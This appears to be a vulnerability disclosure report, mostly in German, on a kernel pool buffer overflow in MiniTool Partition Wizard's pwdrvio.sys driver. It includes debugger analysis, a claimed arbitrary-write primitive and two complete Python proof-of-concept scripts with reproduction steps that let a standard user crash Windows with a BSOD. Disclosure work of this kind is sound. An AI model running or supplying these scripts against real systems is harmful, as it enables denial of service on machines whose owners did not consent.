
Project Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service.
Projektdatum: Feb 2026 / Entdeckte eine Pufferüberlauf-Schwachstelle im IOCTL-Handler des Kernel-Treibers pwdrvio.sys. Die Schwachstelle ermöglicht es einem unprivilegierten lokalen Angreifer, Kernel-Pool-Speicher zu beschädigen, was einen sofortigen Systemabsturz (BSOD) und einen Denial-of-Service auslöst.
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
Denial of Service (DoS)
Schweregrad: MITTEL
CVSS 3.1 Punktzahl: 5.5 (DoS)
CVSS-Vektor-String:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HPufferüberlauf — Denial of Service (CVSS 5.5 - MITTEL)
Angriffsvoraussetzungen:
Ausbeutungsergebnisse: DoS - Sofortiger Systemabsturz, Dienstunverfügbarkeit
Datum: 5. Februar 2026
Aktivität: Systematisches Kernel-Treiber-Fuzzing mit benutzerdefiniertem Python-Fuzzer
Entdeckungsprozess:
Zielauswahl:
pwdrvio.sys als ältester Treiber identifiziert (Zeitstempel: 16. Juni 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0Erstes Fuzzing:
ctypes entwickelt, um mit dem Treiber zu interagierenWriteFile/DeviceIoControl an das Treibergerät gesendetVerifier-Aktivierung:
verifier /standard /driver pwdrvio.sys
Verifier-Konfiguration:
Verifier-Flags: 0x001209bb
Standard-Flags aktiviert:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
Datum: 5.-6. Februar 2026
Aktivität: Kernel-Debugging-Umgebung für Ursachenanalyse eingerichtet
Einrichtungsverfahren:
VMware-Serielle-Port-Konfiguration:
VMware Workstation Pro → VM-Einstellungen
├─ Hardware hinzufügen → Serielle Schnittstelle
├─ Verbindung: "Named Pipe verwenden"
├─ Pfad: \\.\pipe\com_1
├─ Ende: "Dies ist der Server"
└─ E/A-Modus: "CPU bei Poll abgeben" ✓
Gast-BS-Konfiguration:
REM Administratoreingabeaufforderung
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
Host-WinDbg-Verbindung:
WinDbg → Datei → An Kernel anfügen
├─ Port: \\.\pipe\com_1
├─ Baudrate: 115200
├─ Pipe: ✓
└─ Neu verbinden: ✓
Ergebnis: "Kernel-Debugger-Verbindung hergestellt."
Datum: 6. Februar 2026
Aktivität: Beliebiger Kernel-Schreib-Primitiv identifiziert
Analyseschritte:
Modulanalyse:
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (16. Jun 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch-Routinen:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Ziel
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
Entdeckung der verwundbaren Anweisung:
Breakpoint auf Write-Handler setzen:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
Kritischer Fund: Beliebiger Schreib-Primitiv identifiziert!
RAX) an Adresse [R11-0x10]R11 wird vom Stack-Frame geladen: mov r11, qword ptr [rbp+0xB8h]Datum: 6.-7. Februar 2026
Aktivität: Schwachstelle von Use-After-Free zu Write-What-Where-Bedingung zurückverfolgt
Speicherbeschädigungskette:
IRP-Allokation:
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
Pufferbeziehung:
0: kd> r rsi
rsi=ffffe60f828df900 ← Benutzerpufferposition
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB Differenz!
Analyse: Benutzerpuffer ist NICHT direkt vom RBP-Frame aus zugänglich
RBP+0xB8-Offset zeigt NICHT in einen benutzergesteuerten PufferUse-After-Free-Bedingung:
Der Treiber behält hängende Zeiger in der IRP-Struktur:
// Ghidra-Dekompilierung (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Von IRP laden
// Keine Validierung!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Schreiben nach [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Beliebiger Schreibzugriff!
Datum: 8. Februar 2026
Aktivität: Eigenständige DoS-Schwachstelle entdeckt
Entdeckung:
IOCTL-Fuzzing:
0x22000d als verwundbar identifiziertAbsturzmechanismus:
# Verwundbare Parameter
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Treiber vertraut diesem Wert!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
Treiberverhalten:
Verifier-Ausgabe:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Beschädigte Pool-Allokation
Arg2: fffff805315f1404, Treibercode-Adresse
Arg3: ffffe60f84c38000, Pool-Allokationsadresse
Arg4: 0000000000000091, Beschädigungstyp
PROCESS_NAME: python.exe
Ort: pwdrvio.sys IOCTL-Handler
Verwundbarer IOCTL: 0x22000d
Auslösemechanismus:
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# Treiber öffnen
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# Böswillige Parameter
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # Nur 4 Bytes!
fake_output_length = 8192 # 8192 Bytes behaupten!
bytes_returned = wintypes.DWORD(0)
# Überlauf auslösen
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # ← Überlauf!
ctypes.byref(bytes_returned), None)
Absturzverhalten:
Mit aktiviertem Driver Verifier:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Argumente:
Arg1: 0000000000000091 - Beschädigte Pool-Allokation erkannt
Arg2: fffff805315f1404 - Treibercode-Adresse (IOCTL-Handler)
Arg3: ffffe60f84c38000 - Pool-Allokationsadresse
Arg4: 0000000000000091 - Special-Pool-Muster beschädigt
Analyse:
- Treiber versucht, 8192 Bytes in einen 4-Byte-Puffer zu schreiben
- Pool-Header-Beschädigung vom Verifier erkannt
- Sofortiger Bugcheck (BSOD)
Prozess, der den Absturz auslöst: python.exe (Standardbenutzer)
Ohne Driver Verifier:
SYSTEM_SERVICE_EXCEPTION (3b)
Argumente:
Arg1: 00000000c0000005 - Zugriffsverletzung
Arg2: fffff805315f1404 - Fehlerhafte Adresse in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap-Frame
Arg4: 0000000000000000
Ergebnis: Blue Screen of Death
Code:
import ctypes
from ctypes import wintypes
# --- Einstellungen ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[!] MiniTool DoS...")
# 1. Treiber verbinden
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Konnte keine Verbindung herstellen.")
return
# 2. Vorbereitung
# IOCTL vom Fuzzer
TARGET_IOCTL = 0x22000d
# Eingabe: 0xFF gefüllt - 1024 Byte (Zeigervergiftung)
in_size = 1024
input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
# Ausgabefalle: Standard 4 Byte, 8192 Byte im Treiber
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192
bytes_returned = wintypes.DWORD(0)
print("[+] Warte auf BSoD...")
# 3. Schleife (Pool-Beschädigung)
while True:
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
in_size,
real_output_buffer,
fake_output_length, # <--- Verwundbarer Punkt: Treiber-Pufferüberlauf
ctypes.byref(bytes_returned),
None
)
if __name__ == "__main__":
trigger_bsod()
Ausbeutung:
PS C:\Users\standarduser\verzeichnis> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py
Testumgebung:
Erforderliche Tools:
Schritt 1: Treiberinstallation überprüfen
C:\> sc query pwdrvio
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
Schritt 2: Driver Verifier aktivieren (optional, aber empfohlen)
REM Administratoreingabeaufforderung
C:\> verifier /standard /driver pwdrvio.sys
REM Konfiguration überprüfen
C:\> verifier /query
Verifier-Flags: 0x001209bb
Standard-Flags:
[X] 0x00000001 Special pool
[X] 0x00000002 Force IRQL checking
[X] 0x00000008 Pool tracking
[X] 0x00000010 I/O verification
[X] 0x00000020 Deadlock detection
[X] 0x00000080 DMA checking
[X] 0x00000100 Security checks
[X] 0x00000800 Miscellaneous checks
[X] 0x00020000 DDI compliance checking
Treiber-Überprüfungsliste:
MODULE: pwdrvio.sys (laden: 1 / entladen: 0)
REM Neustart, damit Verifier wirksam wird
C:\> shutdown /r /t 0
Schritt 3: DoS-Exploit-Skript erstellen
Speichern als dos_exploit.py:
import ctypes
from ctypes import wintypes
# Gerätepfad
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# Windows-API-Definitionen
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD,
wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID,
wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[*] MiniTool pwdrvio.sys DoS Exploit")
print("[*] Löse Blue Screen of Death aus...")
# Gerät öffnen
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Fehler beim Öffnen des Treibers")
print("[-] Stellen Sie sicher, dass MiniTool Partition Wizard installiert ist")
return
print("[+] Treiber erfolgreich geöffnet")
# Verwundbarer IOCTL-Code
TARGET_IOCTL = 0x22000d
# Eingabepuffer: 1024 Bytes 0xFF
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
# Ausgabepuffer: Nur 4 Bytes (aber 8192 behaupten!)
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Treiber vertraut diesem Wert → Überlauf!
bytes_returned = wintypes.DWORD(0)
print("[!] Sende bösartigen IOCTL...")
print("[!] System wird in 3...2...1... abstürzen")
# Pufferüberlauf auslösen → BSOD
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
1024,
real_output_buffer,
fake_output_length, # ← Schwachstellenauslöser
ctypes.byref(bytes_returned),
None
)
# Diese Zeile wird nie ausgeführt
print("[*] Wenn Sie dies sehen, ist der Exploit fehlgeschlagen")
if __name__ == "__main__":
trigger_bsod()
Schritt 4: Exploit ausführen (Standardbenutzer)
C:\> whoami
desktop-lfkkhu2\standard_user
C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Löse Blue Screen of Death aus...
[+] Treiber erfolgreich geöffnet
[!] Sende bösartigen IOCTL...
[!] System wird in 3...2...1... abstürzen
[System stürzt sofort mit BSOD ab]
Erwartetes Ergebnis:
Blauer Bildschirm mit Stopcode:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
oder
SYSTEM_SERVICE_EXCEPTION (3b)
Überprüfung: Systemabsturz bestätigt DoS-Schwachstelle
MiniTool-Software:
Produkt: MiniTool Partition Wizard
Version: 13.5
Installationspfad: C:\Program Files\MiniTool Partition Wizard
Treiberpfad: C:\Windows\System32\drivers\pwdrvio.sys
Treiberdatum: 16. Juni 2009 (0x4A36F8D1)
Treibergröße: 32.256 Bytes
Testwerkzeuge:
WinDbg-Version: 10.0.29507.1001 AMD64
Python-Version: 3.x mit ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard-Flags)
Primäres Produkt:
Treiberdetails:
Dateiname: pwdrvio.sys
Dateiversion: [Nicht verfügbar]
Dateigröße: 32.256 Bytes (31,5 KB)
Zeitstempel: 0x4A36F8D1 (16. Juni 2009, 04:43:45 UTC)
Digitale Signatur: [Vom Hersteller signiert]
Gerätename: \\.\PartitionWizardDiskAccesser\0
Dienstname: pwdrvio
Ladereihenfolge: Boot Start (SERVICE_BOOT_START)
Andere MiniTool-Produkte, die denselben Treiber verwenden könnten:
Hinweis: Jedes Produkt sollte zur Bestätigung einzeln getestet werden.
Getestet und als verwundbar bestätigt:
Wahrscheinlich verwundbar (nicht getestet):
Grund: Treiber ist mit allen modernen Windows-Versionen kompatibel und enthält keine versionsspezifischen Prüfungen.
Dieses Repository wird ausschließlich zu Bildungszwecken, für defensive Sicherheitsforschung und zur Reproduktion von Schwachstellen in kontrollierten Laborumgebungen bereitgestellt. Die Informationen und der Proof-of-Concept-Code dienen dazu, Verteidigern, Forschern und Herstellern zu helfen, die gemeldete Schwachstelle zu verstehen und zu beheben. Die unbefugte oder böswillige Nutzung dieses Codes gegen Systeme ohne ausdrückliche Genehmigung kann gegen geltende Gesetze und Vorschriften verstoßen. Der Autor befürwortet oder duldet keine illegalen Aktivitäten und übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Material verursacht werden.
Dieser Schwachstellen-Offenlegungsbericht wird bereitgestellt für:
Verbotene Nutzungen:
Der Forscher führte alle Tests auf persönlich eigenen Systemen in kontrollierten Umgebungen durch. Es fand kein unbefugter Zugriff auf Drittsysteme statt.
Berichtsversion: 1.0
Zuletzt aktualisiert: 9. Februar 2026
Registerzustandsanalyse:
0: kd> r
rax=fffff805315f1364 ← Kernel-Code-Zeiger
r11=ffffe60f84c38750 ← Zieladresse (über Stack gesteuert)
rbp=ffffe60f84c38610 ← IRP-Stack-Frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 von hier geladen